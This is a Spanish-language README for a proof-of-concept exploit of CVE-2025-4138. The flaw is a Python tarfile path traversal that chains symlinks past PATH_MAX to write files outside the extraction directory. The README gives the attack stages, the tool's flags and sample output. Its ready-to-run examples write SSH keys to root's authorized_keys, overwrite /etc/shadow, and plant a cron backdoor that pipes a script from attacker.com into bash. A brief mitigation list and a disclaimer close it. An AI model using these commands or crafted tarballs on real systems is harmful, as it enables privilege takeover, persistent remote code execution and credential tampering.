
PoC en Python para CVE-2025-4138, un path traversal en el módulo tarfile de Python que abusa de cadenas de symlinks para eludir PATH_MAX para escritura arbitraria de archivos
tarfile de Python PoCAutor: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Un exploit de prueba de concepto para CVE-2025-4138, una vulnerabilidad de path traversal en el módulo tarfile de Python. La vulnerabilidad permite a un atacante crear un archivo tar malicioso que escribe archivos en ubicaciones arbitrarias fuera del directorio de extracción previsto, abusando de cadenas de enlaces simbólicos para exceder PATH_MAX.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-4138 |
| Componente | Módulo tarfile de Python |
| Tipo | Path Traversal (CWE-22) |
| Vector | Cadena de enlaces simbólicos + bypass de PATH_MAX |
| Impacto | Escritura arbitraria de archivos fuera del directorio de extracción |
El exploit opera en cuatro etapas:
Inflación de Ruta -- Se construye una cadena de directorios y enlaces simbólicos profundamente anidados de modo que la ruta totalmente resuelta excede el límite PATH_MAX del kernel (4096 bytes en Linux).
Enlace Simbólico Pivote -- Se agrega un enlace simbólico cuya ruta resuelta cruza el límite de PATH_MAX. Debido a que la ruta es demasiado larga para resolverse, las comprobaciones de seguridad de tarfile de Python (que dependen de os.path.realpath()) fallan silenciosamente y omiten la validación.
Enlace Simbólico de Escape -- Un segundo enlace simbólico utiliza la navegación ../ a través del pivote para escapar completamente del directorio de extracción y apuntar a una ruta absoluta controlada por el atacante en el sistema de archivos.
Entrega de Carga Útil -- Se escribe un archivo normal a través del enlace simbólico de escape, aterrizando en la ruta objetivo con contenido y permisos controlados por el atacante.
Extract dir
|
+-- ddd...d/ (directorio de 247 caracteres)
| +-- a -> ddd...d (atajo de enlace simbólico)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 niveles de profundidad, ruta resuelta > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivote - PATH_MAX excedido)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- LA CARGA ÚTIL LLEGA AQUÍ (fuera del directorio de extracción)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
No se requieren dependencias externas: el exploit utiliza únicamente módulos de la biblioteca estándar de Python 3.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| Bandera | Descripción |
|---|---|
-o, --output | Ruta del tarball de salida (por defecto: exploit.tar) |
-t, --target | Ruta absoluta del archivo a escribir en el objetivo (por defecto: /root/.ssh/authorized_keys) |
-p, --payload | Ruta a un archivo cuyo contenido se convierte en la carga útil |
-s, --payload-string | Usar una cadena literal como carga útil |
-k, --ssh-key | Ruta a un archivo de clave pública SSH |
-m, --mode | Modo de permisos del archivo en octal (por defecto: 0600) |
-d, --depth | Profundidad de navegación de directorios (por defecto: 8) |
-v, --verify | Volcar el contenido del tarball después de la creación |
-q, --quiet | Suprimir el banner |
Escribir una clave pública SSH en authorized_keys de root:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Escribir un trabajo cron para persistencia:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Escribir contenido de archivo arbitrario desde un archivo local:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+) que proporciona controles de extracción más estrictos.--strip-components o validar el contenido del archivo antes de la extracción.fs.protected_symlinks).Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso. Siempre obtenga la autorización escrita adecuada antes de realizar pruebas en sistemas que no le pertenezcan.
Este proyecto está licenciado bajo la Licencia MIT.
d3vn0mi | GitHub